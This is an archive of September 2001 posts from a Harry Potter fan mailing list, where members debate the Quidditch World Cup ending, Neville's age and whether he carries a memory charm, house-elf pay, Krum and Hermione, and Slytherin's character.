Date: Fri, 28 Sep 2001 08:34:53 -0700 (PDT)
Subject: [HPforGrownups] Genes - Envy - Hermione's Birthday - Rant on Language
In-Reply-To: <9p1v5r+u6l5@eGroups.com>
Message-ID: <20010928153453.50678.qmail@web20807.mail.yahoo.com>

No: HPFGUIDX 26829



--- "Catlady (Rita Prince Winston)" 

> Your explanation that the simplification of English
> came from a cross 
> between Saxons and Danes is new to me; I am more
> accustomed to the
> explanation that 'English is the result of Norman
> men at arms trying 
> to date Saxon barmaids, and no more legitimate than
> the other 
> results." I THINK the quote is from L. Sprague
> deCamp but I can't 
> remember.

   Sound like deCamp to me. *That's* where the strong
French influence in modern English vocabulary came
from. The original simplification of grammer came from
Danes trying to communicate with Saxon wives,
according to 'The Story of English' anyway. Basically
we're saying the same thing - modern English is due to
men of Viking descent trying to pick up girls, (as are
a great many English people but that's another issue).
 
> My friend Lee (ABD in Eng Lit)

   What's an ABD?

 told that the reason that English 
> became simple and easy is because it was the
> language only of 
> conquered peasants and therefore not taught in
> school like Latin (and 
> presumably Norman French) and was therefore free to
change 

   I suspect there is something to this too. I
understand the French actually have a government
department whose mission is to fight tooth and nail
against *any* change in their language. I very much
hope I am mistaken.


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From aiz24 at hotmail.com  Fri Sep 28 16:34:45 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 28 Sep 2001 12:34:45 -0400
Subject: Handwriting US/UK - House-elves
Message-ID: <F194h96xFEerfkdL3Qt0000b94f@hotmail.com>

No: HPFGUIDX 26830

David asked:

>Handwriting: The British editions contain no handwriting, apart from the 
>schoolbooks.  What is the status of the handwriting in the US editions?

I am going by memory here, since I have read the US editions but own the UK 
editions.

In several cases, e.g. Hagrid's letters in PoA and Dumbledore's notes about 
the Cloak in SS, they use a handwriting-like font, different for each 
character.  This is particularly noticeable when the Map addresses Snape--M, 
W, P, and P each have a different font. (Interestingly, the letters Hermione 
and Ron send to Harry in the first chapter of PoA are in regular type, with 
only the signatures being written in.)

In GF, the letters between Harry and Sirius are signed--i.e. done in actual 
handwriting, not any kind of font.  I can't recall how the text of the 
letters is done; I think it's regular text, possibly italicized but the same 
font as the rest of the book.

I think the handwriting-ish font approach is a bit gimmicky, although the 
tear-blots on Hagrid's letter about Buckbeak are kinda cute.

Rowena wrote re: House-Elves:

>They don't
>need or want salaries, pensions or vacation time

Dobby does.  How would he buy wool and knitting needles if he didn't get 
paid?

Amy Z
who spends way too much of her salary on knitting supplies

----------------------------------------------------
   "This is a =girls'= bathroom," she said, eyeing
Ron and Harry suspiciously. "=They're= not girls."
   "No," Hermione agreed.
                   -HP and the Chamber of Secrets
----------------------------------------------------

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From foxmoth at qnet.com  Fri Sep 28 16:40:28 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Fri, 28 Sep 2001 16:40:28 -0000
Subject: QWC strategy
In-Reply-To: <9p22ib+ome4@eGroups.com>
Message-ID: <9p295s+30hh@eGroups.com>

No: HPFGUIDX 26831

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
>   A close match is 
> little comfort to a team that's just lost the final.
> > 
and Cyndy wrote
 Or imagine the same situation, but Victor is on third 
> base.  He decides to steal home against outrageous odds so 
that he can "end the game on his own terms."  
> 
> The Quiddich World Cup ending bothers the small part of me 
that has 
> any interest in sport, and that's saying something.
>
  Krumm had two black eyes. If they were in the process of 
swelling shut, then perhaps Krumm thought he had better  catch 
the Snitch while he could still see it.  It was Quinn who initially 
spotted the Snitch on the final dive, don't forget. 
    Also, there's usually more at stake in a sports final than 
winning the cup.  There's money too...suppose the take is 
divided between the teams according to the point margin but the 
team who catches the Snitch gets a bonus.  In that case,  the 
Bulgarian team might actually be better off  to lose the match by 
a small margin rather than let Ireland catch the Snitch and win by 
a large one. Also there's draft choices...at least in American 
sports the winning team gets last pick of the new players. Now 
Bulgaria is losing their best player, who won't be in training for a 
full season on account of the Tri-wizard Tournament, so they 
might just be better off coming in second.
  I admit I am not that versed in sports, so maybe someone who 
is could tell me if any of this makes sense?

Pippin





From aiz24 at hotmail.com  Fri Sep 28 16:59:48 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 28 Sep 2001 16:59:48 -0000
Subject: Neville/Memory Charm
In-Reply-To: <9p222t+9kg4@eGroups.com>
Message-ID: <9p2aa4+g4v2@eGroups.com>

No: HPFGUIDX 26832

Cindy wrote:
 
> As a "Neville has a memory charm" believer, I have a question that 
> just occurred to me.  Assume Neville witnessed the torture of his 
mom 
> and dad.  If I'm doing the math correctly, he was about 1 year old 
> when this happened.  One year olds have almost no awareness of 
what's 
> going on around them, and I doubt that they would have any memory of 
> witnessing something traumatic at that age.  So why would anyone put 
> a memory charm on a one-year old, particularly if the side-effects 
> turn them into a klutz?

I'm not particularly an adherent of the memory-charm theory, but 
Neville could have been as old as three when his parents were 
attacked.  Here's the math:

Let's say the Sept. 1 cutoff date IS firm and so a student could turn 
12 on September 2 the year he starts at Hogwarts.  That makes it 
possible for Neville to be 11 months older than Harry, that is, 26 
months old the night Voldemort fell.

As for how long after that the Longbottoms were tortured, we don't 
know.  All we know is "The attacks on them came after Voldemort's fall 
from power, just when everyone thought they were safe."  That could 
imply several months, maybe even a couple of years, after October 
1981.

Amy Z
always willing to argue the opposite side for sheer argument's sake

--------------------------------------------------------
   "Ha, ha, ha," said Hermione sarcastically.  "Goblins 
 don't need protection.  Haven't you been listening to 
 what Professor Binns has been telling us about goblin 
 rebellions?"
   "No," said Harry and Ron together.
                          -HP and the Goblet of Fire 
--------------------------------------------------------





From dfrankiswork at netscape.net  Fri Sep 28 17:16:53 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Fri, 28 Sep 2001 17:16:53 -0000
Subject: QWC strategy - end of the debate!
In-Reply-To: <9p295s+30hh@eGroups.com>
Message-ID: <9p2ba5+fqa1@eGroups.com>

No: HPFGUIDX 26833

Pippin wrote:
> It was Quinn who initially 
> spotted the Snitch on the final dive, don't forget. 

I'd forgotten this - if Krum's choice was catch the snitch and lose, 
or leave the snitch and lose (because the other side had seen it), 
then we don't need any more explanations.

Also there's draft choices...at least in American 
> sports the winning team gets last pick of the new players. Now 
> Bulgaria is losing their best player, who won't be in training for 
a 
> full season on account of the Tri-wizard Tournament, so they 
> might just be better off coming in second.
>   I admit I am not that versed in sports, so maybe someone who 
> is could tell me if any of this makes sense?

Surely team membership is nationally based - Krum would not be 
eligible for any other country than Bulgaria.

David, who liked his Krum-is-stupid theory - all that frowning and 
Herm-own-ninny




From cynthiaanncoe at home.com  Fri Sep 28 17:28:23 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 28 Sep 2001 17:28:23 -0000
Subject: QWC strategy 
In-Reply-To: <9p2ba5+fqa1@eGroups.com>
Message-ID: <9p2bvn+10e3n@eGroups.com>

No: HPFGUIDX 26834

--- In HPforGrownups at y..., dfrankiswork at n... wrote:
> Pippin wrote:
> > It was Quinn who initially 
> > spotted the Snitch on the final dive, don't forget. 
> 
> I'd forgotten this - if Krum's choice was catch the snitch and 
lose, 
> or leave the snitch and lose (because the other side had seen it), 
> then we don't need any more explanations.
> 
> 

There's always a third choice -- hold the other player off the 
snitch.  If you can catch it, you are also in position to swat it 
away. As for Krum's injuries, if medi-wizards can repair all the 
injuries we've seen in HP, I think they ought to be able to handle a 
little swelling and a bloody nose.

I'm sticking with my theory that there has to be a yet-to-be-revealed 
reason why JKR wrote the scene this way instead of any number of 
other possibilities that would have been equally exciting.

Cindy (wanting to hear more about the Krum-is-stupid theory)




From cynthiaanncoe at home.com  Fri Sep 28 18:12:42 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 28 Sep 2001 18:12:42 -0000
Subject: Neville/Memory Charm
In-Reply-To: <9p2aa4+g4v2@eGroups.com>
Message-ID: <9p2eiq+s42n@eGroups.com>

No: HPFGUIDX 26835

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> Cindy wrote:
>  
> > As a "Neville has a memory charm" believer, I have a question 
that 
> > just occurred to me.  Assume Neville witnessed the torture of his 
> mom 
> > and dad.  If I'm doing the math correctly, he was about 1 year 
old 
> > when this happened.  One year olds have almost no awareness of 
> what's 
> > going on around them, and I doubt that they would have any memory 
of 
> > witnessing something traumatic at that age.  So why would anyone 
put 
> > a memory charm on a one-year old, particularly if the side-
effects 
> > turn them into a klutz?


Amy wrote:> 
> I'm not particularly an adherent of the memory-charm theory, but 
> Neville could have been as old as three when his parents were 
> attacked.  Here's the math:
> 
> Let's say the Sept. 1 cutoff date IS firm and so a student could 
turn 
> 12 on September 2 the year he starts at Hogwarts.  That makes it 
> possible for Neville to be 11 months older than Harry, that is, 26 
> months old the night Voldemort fell.
> 
> As for how long after that the Longbottoms were tortured, we don't 
> know.  All we know is "The attacks on them came after Voldemort's 
fall 
> from power, just when everyone thought they were safe."  That could 
> imply several months, maybe even a couple of years, after October 
> 1981.
> 

OK, OK.  I need a few more facts to make the math work.  First, I'll 
hide behind the Lexicon for the proposition that Harry and Neville 
are both born in 1981, as it expressly says so on the master 
timeline.  So Neville can't be any more than 7 months older than 
Harry, and he could easily be younger.

But you're right that we aren't expressly told how soon after 
Voldemort's downfall the Longbottom's were attacked.  I always 
assumed it was soon after.  

So we go back to canon and the Lexicon.  

Here's the best I can do in canon to figure this out.  In Padfoot 
Returns, Sirius tells us about the circumstances under which Barty 
Crouch Jr. is brought to Azkaban and everything going on at the 
time.  He says:

"When Voldemort disappeared, it looked like only a matter of time 
until Crouch got the top job.  But then something rather unfortunate 
happened. <snip> Crouch's own son was caught with a group of Death 
Eaters who'd managed to talk their way out of Azkaban.  Apparently 
they were trying to find Voldemort and return him to power.  <snip> I 
saw the Dementors bringing him in. <snip> He can't have been more 
than nineteen."

The Lexicon list Barty Crouch Jr.'s birthday as 1962.  So if he is 19 
when he goes to Azkaban, that would be 1981 -- making Neville around 
1 when the Longbottoms are tortured.

Also, I think JKR writes the dialogue for Sirius expressly to support 
this timeline.  When a person estimates someone's age, they probably 
wouldn't use an expression like "He can't have been more than 19."  
Most people would pick a round number, like 20.  The use of 19 is 
probably to make the timeline work perfectly.

Cindy (who can't figure out how we can be so sure about the date of 
Crouch Jr.'s birth year)




From oppen at cnsinternet.com  Fri Sep 28 19:23:22 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Fri, 28 Sep 2001 14:23:22 -0500
Subject: Several things I've noticed...
Message-ID: <010801c14853$0a966b40$b4ae1cce@hppav>

No: HPFGUIDX 26836

First off, has anybody else on here noticed that Victor Krum has the same
name as the great Khagan Krum who led the original Bulgars?  As far as I
know it is not a surname used in contemporary Bulgaria, but anybody with
better knowledge than I of Slavic languages and Balkan countries is invited
to correct me, and I'll go slam my ears in the car door for a while.  I'd
bet that Herself used that name _because_ it isn't used by contemporary
Bulgarians (the original Bulgars were not Slavic-speakers, but adopted the
language of the people they had conquered while retaining their name---I
_think_ the original Bulgars, including Khagan Krum, were Turkic-language
speakers.  Where IS Harry Turtledove when I need to ask him something?) and
she didn't want to have some real Bulgarians complaining that she had used
their name.  Kind of the same way that she picked Hermione's name _because_
it isn't in use much now.

Second, on the Harry Potter Galleries site, I notice they've changed the
page with the stills from the trailer---there's one or two shots I remember
that aren't there any more.  Can somebody with greater knowledge than I tell
me why?

Lastly, I agree completely that there _have_ to be good Slytherins, _as well
as_ bad guys from other Houses---it would be too easy for the Aurors to just
roll up Voldemort's network otherwise.  J.L. Mathews' excellent _Slytherin
Rising_ series of fics goes into the lives and adventures of four girls in
Hogwarts, in Slytherin House itself.  It's kind of an alternate-universe
version of the Potterverse, with more action for the female main characters
(Mathews is one of those who wants more strong female characters) and a
slightly different view of magic and the actions and background of one
Severus Snape.  (At one point, it's mentioned that Snapey got tagged "Most
Fanciable Male" by his female classmates one year---my response would be
"And what was the competition like---an unusually ugly gorilla?  Baldrick,
from the _Blackadder_ shows?")   Since I subscribe to the theory that each
Hogwarts house has something like 200 or so students, and that we just see
the ones Harry Potter himself has classes with, there could be quite a few
very nice Slytherins.  In one of my _own_ fanfics, "Requiem," I had a
Slytherin spokesman explain that the wizard world works the same as Muggle
Britain---Voldemort recruited as he did partly because of "the old school
tie" and "the old boys'/girls' network."




From rowena_grunnion_ffitch at yahoo.com  Fri Sep 28 19:36:03 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Fri, 28 Sep 2001 12:36:03 -0700 (PDT)
Subject: [HPforGrownups] Handwriting US/UK - House-elves
In-Reply-To: <F194h96xFEerfkdL3Qt0000b94f@hotmail.com>
Message-ID: <20010928193603.86032.qmail@web20807.mail.yahoo.com>

No: HPFGUIDX 26837



--- Amy Z <aiz24 at hotmail.com> wrote:
> 
> >They don't
> >need or want salaries, pensions or vacation time
> 
> Dobby does.  How would he buy wool and knitting
> needles if he didn't get 
> paid?

   He could ask his human hosts for it. It was
customary to put out gifts for Brownies yarn, if it
were made clear it would be welcome, wouldn't be a
problem.
   According to my 'Encylopedia of Fairies,
Hobgoblins, Brownies Bogies and other Supernatural
Creatures' (yes, it is a real book) Brownies avoided
the appearance of payment because it would put them
under obligation to their Humans. Food or other items
'left out' didn't count as 'pay' and so were
acceptable. 
   This of course is the behavior of free Brownies.
Dobby, coming from a long line of magically bound
House elves, is presumably unaware of these
traditional practices and values.   

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From michelleapostolides at lineone.net  Fri Sep 28 19:42:16 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Fri, 28 Sep 2001 20:42:16 +0100
Subject: Interesting article 
Message-ID: <041f01c14855$ade0dea0$5040063e@tmeltcds>

No: HPFGUIDX 26838

The Americans on this list will be familiar with this idea, but for the
rest of us, an interesting insight into the kind of books that are
controversial within the US school system. Harry is in good company.

The article is here
http://news.bbc.co.uk/hi/english/entertainment/arts/newsid_1568000/15681
71.stm

Michelle




From rowena_grunnion_ffitch at yahoo.com  Fri Sep 28 19:48:36 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Fri, 28 Sep 2001 12:48:36 -0700 (PDT)
Subject: Krum is not Stupid
In-Reply-To: <9p2bvn+10e3n@eGroups.com>
Message-ID: <20010928194836.12779.qmail@web20810.mail.yahoo.com>

No: HPFGUIDX 26839



--- cynthiaanncoe at home.com wrote:

> (wanting to hear more about the Krum-is-stupid
> theory)

   I'm not saying he's a genius mind you but his
performance in the TriWizard contest proves he's no
fool. The conjuctivis spell he uses to blind the
dragon in the first test is exactly what Sirius
intended to recommend to Harry so it's safe to assume
it was a good strategy. And a stupid wizard wouldn't
have been able to master the extremely difficult
partial transfiguration spell Krum used in the second
Test. Nor for that matter would Hermione be attracted
to an idiot who isn't even good looking, (she does
have a weakness for a pretty face as we see with
Lockhart).   

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From mellienel2 at yahoo.com  Fri Sep 28 19:49:42 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Fri, 28 Sep 2001 19:49:42 -0000
Subject: What JKR did not say. An analysis of the interviews.
In-Reply-To: <20010928031026.78382.qmail@web20005.mail.yahoo.com>
Message-ID: <9p2k8m+lvf5@eGroups.com>

No: HPFGUIDX 26840

--- In HPforGrownups at y..., laura hickman <animalsbaby_1999 at y...> 
wrote:
> > 15. "He might get a different pet at some point but
> > I'm saying no 
> > more at this moment. "
> >  Why would there be any need for a different pet?
> > Does Hedwig die?!
> > 
> 
> Pet: could that pet be a "big black dog"???  If so,
> Hedwig would still be needed, but a "dog" would be
> very helpful.  Plus what a great way to keep Sirius
> safe, under the watchful eyes of Harry, Ron, Hermonie,
> Dumbledore, and others... including maybe the real
> Moody and that would really anger Snape!!!!!
> 

ooh the dog is a good idea. He could also inherit Fawkes after D. 
(gasp!) dies.




From mellienel2 at yahoo.com  Fri Sep 28 19:52:28 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Fri, 28 Sep 2001 19:52:28 -0000
Subject: Could Salazar Slytherin be nice?
In-Reply-To: <9p1j1j+c35u@eGroups.com>
Message-ID: <9p2kds+atba@eGroups.com>

No: HPFGUIDX 26841

> 
> Right - I think Slytherin was indeed a good person. Just that each 
> founder of the Hogwarts had different values and different code of 
> ethics with "Ends justify the means" being whole-hartedly accepted 
by 
> Slytherins...

Could slytherin have possibly been a good person if he employed the 
use of a basilisk to kill non pureblooded wizards, or hid it in 
Hogwarts for his descendant to use?

I'm doubtful...

m.




From magpie1112 at yahoo.com  Fri Sep 28 19:53:01 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Fri, 28 Sep 2001 19:53:01 -0000
Subject: Could Salazar Slytherin be nice?
In-Reply-To: <9p1j1j+c35u@eGroups.com>
Message-ID: <9p2ket+6a77@eGroups.com>

No: HPFGUIDX 26842

--- In HPforGrownups at y..., s_luhtanen at h... wrote:
> --- In HPforGrownups at y..., y_no_m at y... wrote:
> > Has this topic been discussed before?
> > 
> > Professor McGonagall said in the first book that each House has a 
> > long and honorable history including Slytherin.
> > 
> > I am writing a fanfic with this theory in mind, and readers are 
> > either liking the idea of a nice Slytherin or saying Slytherin 
> > can't have been nice.
> > 
> > yen
> 
> Right - I think Slytherin was indeed a good person. Just that each 
> founder of the Hogwarts had different values and different code of 
> ethics with "Ends justify the means" being whole-hartedly accepted 
> by Slytherins...


I'd love to see what type of person Slytherin was.  He had to be 
decent enough, or else Gryffindor, Ravenclaw and Hufflepuff wouldn't 
have joined forces to form the school.  He may not have been a warm-
fuzzy, but the four did end up with enough commonality to work 
together as a team.  

And as the Sorting Hat has hinted at when he was placed on Harry's 
head, someone can have traits from more than one house - it is the 
*strongest* traits that win out.  Or perhaps a split decision is 
finalized based on where the student *wants* to be?

For example, I can imagine that Hermione would feel very much at home 
in Ravenclaw, but in PS/SS she says, "...I hope I'm in Gryffindor, it 
sounds by far the best...but I suppose Ravenclaw wouldn't be too 
bad...."  By having that kind of attitude, has she placed herself in 
Gryffindor?  And it seems that Harry chose Gryffindor over Slytherin 
while the Sorting Hat was on his head; "Not Slytherin, eh?  Are you 
sure?...Well, if you're sure - better be GRYFFINDOR!"  


- Denise (who really, really wanted to be a Hufflepuff, and was quite 
glad when she was sorted "correctly")




From meboriqua at aol.com  Fri Sep 28 21:05:32 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Fri, 28 Sep 2001 21:05:32 -0000
Subject: What JKR did not say. An analysis of the interviews.
In-Reply-To: <9p2k8m+lvf5@eGroups.com>
Message-ID: <9p2oms+uvto@eGroups.com>

No: HPFGUIDX 26843

--- In HPforGrownups at y..., mellienel2 at y... wrote:
> --- In HPforGrownups at y..., laura hickman <animalsbaby_1999 at y...> 
> wrote:

> 15. "He might get a different pet at some point but I'm saying no 
more at this moment. "
> > >  Why would there be any need for a different pet? Does Hedwig 
die?!>

If Hedwig dies, I will be convinced that we all live in an ugly, ugly 
world.

< He could also inherit Fawkes after D. (gasp!) dies.>

Now that is a brilliant idea, and one I have thought of, too.  A 
phoenix makes a highly faithful pet, as Dumbledore said, and I have a 
feeling that Fawkes wouldn't want to be just anyone's pet.  Harry has 
certainly proven his own loyalty to Dumbledore and Fawkes has formed a 
bond with Harry by saving him twice and healing him twice.  Fawkes, 
IMO, would be happy to rest on Harry's shoulder at any time.  Hedwig 
might get jealous, though...

--jenny from ravenclaw, who'd take Hedwig or Fawkes as a pet any day 
***********************************************************




From aiz24 at hotmail.com  Fri Sep 28 20:59:44 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 28 Sep 2001 20:59:44 -0000
Subject: Neville/Memory Charm
In-Reply-To: <9p2eiq+s42n@eGroups.com>
Message-ID: <9p2oc0+iqti@eGroups.com>

No: HPFGUIDX 26844

Cindy wrote:

> 
> OK, OK.  I need a few more facts to make the math work.  First, I'll 
> hide behind the Lexicon for the proposition that Harry and Neville 
> are both born in 1981, as it expressly says so on the master 
> timeline.  So Neville can't be any more than 7 months older than 
> Harry, and he could easily be younger.

Whoops, typo--I think you mean 1980, not 1981.  But anyway, how does 
the Lexicon know?  This doesn't seem quite up to the Binnsian standard 
we have come to expect.
 
> But you're right that we aren't expressly told how soon after 
> Voldemort's downfall the Longbottom's were attacked.  I always 
> assumed it was soon after.  
> 
> So we go back to canon and the Lexicon.  
> 
> Here's the best I can do in canon to figure this out.  In Padfoot 
> Returns, Sirius tells us about the circumstances under which Barty 
> Crouch Jr. is brought to Azkaban and everything going on at the 
> time.  He says:
> 
> "When Voldemort disappeared, it looked like only a matter of time 
> until Crouch got the top job.  But then something rather unfortunate 
> happened. <snip> Crouch's own son was caught with a group of Death 
> Eaters who'd managed to talk their way out of Azkaban.  Apparently 
> they were trying to find Voldemort and return him to power.  <snip> 
I 
> saw the Dementors bringing him in. <snip> He can't have been more 
> than nineteen."
> 
> The Lexicon list Barty Crouch Jr.'s birthday as 1962.  So if he is 
19 
> when he goes to Azkaban, that would be 1981 -- making Neville around 
> 1 when the Longbottoms are tortured.
> 
> Also, I think JKR writes the dialogue for Sirius expressly to 
support 
> this timeline.  When a person estimates someone's age, they probably 
> wouldn't use an expression like "He can't have been more than 19."  
> Most people would pick a round number, like 20.  The use of 19 is 
> probably to make the timeline work perfectly.

Also, Sirius was at school with Crouch Jr., a few years ahead of him. 
 So he might be able to guess not only based on someone's appearance 
but because "let's see, he entered Hogwarts when I was a fourth-year, 
right?  Poor sod must be 19 at the most then..."

> 
> Cindy (who can't figure out how we can be so sure about the date of 
> Crouch Jr.'s birth year)

I bet this is circular--that Steve used the age 19 from Padfoot 
Returns and worked backwards from 1981 to get Jr.'s birth year.  
Steve?

But also, how do we know that Crouch Jr. was brought into Azkaban in 
1981?  That begs the question--it makes the Longbottoms' attack and 
the subsequent trial take place in the 2 months remaining in 1981.  
I'm sure the trial was a, shall we say, speedy one, but we can't know 
for sure that the attack took place before the turn of the year.  All 
Padfoot Returns really tells us about when Jr. arrived at prison was 
that Sirius was already there--which we learn from Dumbledore later 
anyway.

BTW, I agree that Neville was probably born in 1980 and that the 
attack on his parents took place within a few months, late 1981 or 
early 1982.  I also really like your opposite-of-a-Memory-Charm 
theory.  I'm just letting my inner L.O.O.N. have free rein . . .

Amy Z

---------------------------------------------------------------
 "And some old witch in Bath had a book that you could =never
 stop reading=!  You just had to wander around with your nose 
 in it, trying to do everything one-handed."
                    --Harry Potter and the Chamber of Secrets
---------------------------------------------------------------




From dfrankiswork at netscape.net  Fri Sep 28 21:29:56 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Fri, 28 Sep 2001 21:29:56 -0000
Subject: Krum, Hermione
In-Reply-To: <20010928194836.12779.qmail@web20810.mail.yahoo.com>
Message-ID: <9p2q4k+9o8e@eGroups.com>

No: HPFGUIDX 26845

Cynthia:
> 
> > (wanting to hear more about the Krum-is-stupid
> > theory)

Really, there wasn't much to it - just that Hermione would eventually 
lose interest in him over time.  But why can't he repeat her name 
properly after she says it?

Rowena:
> Nor for that matter would Hermione be attracted
> to an idiot who isn't even good looking, (she does
> have a weakness for a pretty face as we see with
> Lockhart).   
> 
I have been wondering (still thinking about sticking in my 
twopennyworth (pronounced two-penneth for those following the UK 
currency thread on OT Chatter) about the Romantic Pairings FAQ) about 
Hermione and Krum anyway - why does she go to the ball and what is 
the nature of the relationship afterwards.  In particular, if she is 
starting to feel anything for either of Ron or Harry, how does she 
hold it all together in her mind?  She is not the type, IMO, either 
to toy with someone (despite Rita!) she does not care about, nor to 
settle for second best.  But Krum is definitely more than just a one-
off date (note modish US expression) for the ball.

The explanation has to be that at the time of the ball no-one else is 
in the frame for her, and she happily accepts his invitation.  If 
there is any change, later events (either Ron's jealousy, if H/R, or 
the Rita Skeeter article in Witch Weekly, if H/H) trigger her self-
understanding as the book goes on.

She spends time with Krum, as he famously mentions that she talks a 
lot about Harry (what this means about H, H and R would take too long 
to go into here - another post for another time), so I find it hard 
to believe she is pining for either of the other boys.  Yes, some 
girls might seek solace in a Krum-figure as a way of running away 
from their true feelings, but I think that would be out of character 
for Hermione.  At the same time there is a sense of distance in the 
way she treats Krum - as if she also knows that while she enjoys his 
admiration, she has no intention of letting it go very far.  Think of 
the moment after they all come out of the lake.  They really have 
little in common - he only goes to the library for her sake, she is 
at the Wonky Faint level of Quidditch understanding and is not 
confident in broomstick riding.

Anyway, this is all rambly stuff not getting anywhere much except to 
say that the existence of her relationship with Krum over much of the 
school year implies that she has no serious intentions towards anyone 
else at this stage.  Which probably most of you thought anyway.

But going back to Rowena's comment above - I don't think Hermione 
would be swayed by Krum's looks.  I believe it's his affection for 
her that she responds to.  After all, stupid or not, he is able to 
tell the difference between girls and trolls - unlike others in the 
story.  I also think his celebrity carries little weight with 
Hermione - but she does remark his bravery at the QWC.

enough

David




From dfrankiswork at netscape.net  Fri Sep 28 21:49:32 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Fri, 28 Sep 2001 21:49:32 -0000
Subject: Dobby wants paying
In-Reply-To: <20010928193603.86032.qmail@web20807.mail.yahoo.com>
Message-ID: <9p2r9c+4e1s@eGroups.com>

No: HPFGUIDX 26846

Rowena Grunnion-Ffitch wrote:

> Food or other items
> 'left out' didn't count as 'pay' and so were
> acceptable. 
>    This of course is the behavior of free Brownies.
> Dobby, coming from a long line of magically bound
> House elves, is presumably unaware of these
> traditional practices and values.   
> 
What do we make of the fact that Dumbledore goes along with Dobby's 
wish to be paid?

And, IMO very significant, what do we make of Arthur Weasley's 
comment to Hermione that he agrees with her, it's just a bad time to 
discuss it?

David




From cynthiaanncoe at home.com  Fri Sep 28 21:59:35 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 28 Sep 2001 21:59:35 -0000
Subject: Neville/Memory Charm
In-Reply-To: <9p2oc0+iqti@eGroups.com>
Message-ID: <9p2rs7+5896@eGroups.com>

No: HPFGUIDX 26847

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> > 
> 
> Also, Sirius was at school with Crouch Jr., a few years ahead of 
him. 
>  So he might be able to guess not only based on someone's 
appearance 
> but because "let's see, he entered Hogwarts when I was a fourth-
year, 
> right?  Poor sod must be 19 at the most then..."
> 
> > 
<snip> 

> But also, how do we know that Crouch Jr. was brought into Azkaban 
in 
> 1981?  That begs the question--it makes the Longbottoms' attack and 
> the subsequent trial take place in the 2 months remaining in 1981.  
> I'm sure the trial was a, shall we say, speedy one, but we can't 
know 
> for sure that the attack took place before the turn of the year.  
All 
> Padfoot Returns really tells us about when Jr. arrived at prison 
was 
> that Sirius was already there--which we learn from Dumbledore later 
> anyway.
> 
> BTW, I agree that Neville was probably born in 1980 and that the 
> attack on his parents took place within a few months, late 1981 or 
> early 1982.  I also really like your opposite-of-a-Memory-Charm 
> theory.  I'm just letting my inner L.O.O.N. have free rein . . .
> 

I'm still trying to noodle through the timeline of the Longbottom 
attacks.  We have Sirius getting locked up without a trial in early 
November 1981.  So we know Crouch Jr. gets there sometime afterward 
when he is 19 (after a rather expedited trial that took about 4 
minutes), which is also 1981, although it could be a few months into 
1982.  So in the two months or so after Voldemort's fall, we have to 
have the Lestranges get released from Azkaban, hook up with Crouch, 
torture the Longbottoms, get caught, get tried, and get tossed back 
into Azkaban.  Seems plausible to me, given that wizards don't seem 
very interested in frills like due process.  

Of course, for the Lestranges to be apprehended so quickly (or at 
all), there must have been some Really Big Clue Or Witness left 
behind after the attack.  Neville, perhaps?

As for Neville's age, even if he is 2 years old instead of 1, there's 
still no good reason to modify his memory.  Even a 2 year old can't 
identify people, understand a crime, or remember anything later, 
unless the crime were committed by Teletubbies.

Perhaps JKR will try to tell us that the Lestranges modified 
Neville's toddler memory to cover their tracks.  If so, how did they 
get caught?  If so, don't they know that a toddler is not a threat to 
them?  If so, and they really think Neville can incriminate them, 
don't they know memory charms can be broken, so the only way to 
silence Neville is to kill him?  As JKR has a child and knows that a 
toddler can't be trusted to communicate any information reliably, 
I'll really have to raise an eyebrow if it turns out that someone put 
a memory charm on toddler Neville.  And if it turns out that someone 
put a memory charm on Neville to spare him the pain of witnessing his 
parents' torture, I'd also be forced to ask the question why no one 
put such a charm on Harry, as the events he witnessed were equally 
horrible.

Cindy (officially declaring her defection from the "Neville Has A 
Memory Charm" camp)




From foxmoth at qnet.com  Fri Sep 28 22:17:53 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Fri, 28 Sep 2001 22:17:53 -0000
Subject: Dobby wants paying
In-Reply-To: <9p2r9c+4e1s@eGroups.com>
Message-ID: <9p2suh+nob8@eGroups.com>

No: HPFGUIDX 26848

--- In HPforGrownups at y..., dfrankiswork at n... wrote:

> And, IMO very significant, what do we make of Arthur Weasley's 
> comment to Hermione that he agrees with her, it's just a bad 
time to discuss it?

  Perhaps that Arthur's opposition, rather than a lack of funds, is 
the reason the Weasleys don't have a House Elf, even though, 
according to the twins in COS ch. 3, Molly's always wishing that 
they did. If so, it argues that Arthur isn't as henpecked as I've 
imagined.

Pippin





From mariannayus at yahoo.com  Fri Sep 28 22:32:05 2001
From: mariannayus at yahoo.com (Marianna Lvovsky)
Date: Fri, 28 Sep 2001 15:32:05 -0700 (PDT)
Subject: [HPforGrownups] Re: Krum, Hermione
In-Reply-To: <9p2q4k+9o8e@eGroups.com>
Message-ID: <20010928223205.20165.qmail@web14401.mail.yahoo.com>

No: HPFGUIDX 26849


--- dfrankiswork at netscape.net wrote:
> Cynthia:
> > 
> > > (wanting to hear more about the Krum-is-stupid
> > > theory)
> 
> Really, there wasn't much to it - just that Hermione
> would eventually 
> lose interest in him over time.  But why can't he
> repeat her name 
> properly after she says it?

Very easy. I tell people my last name all the time and
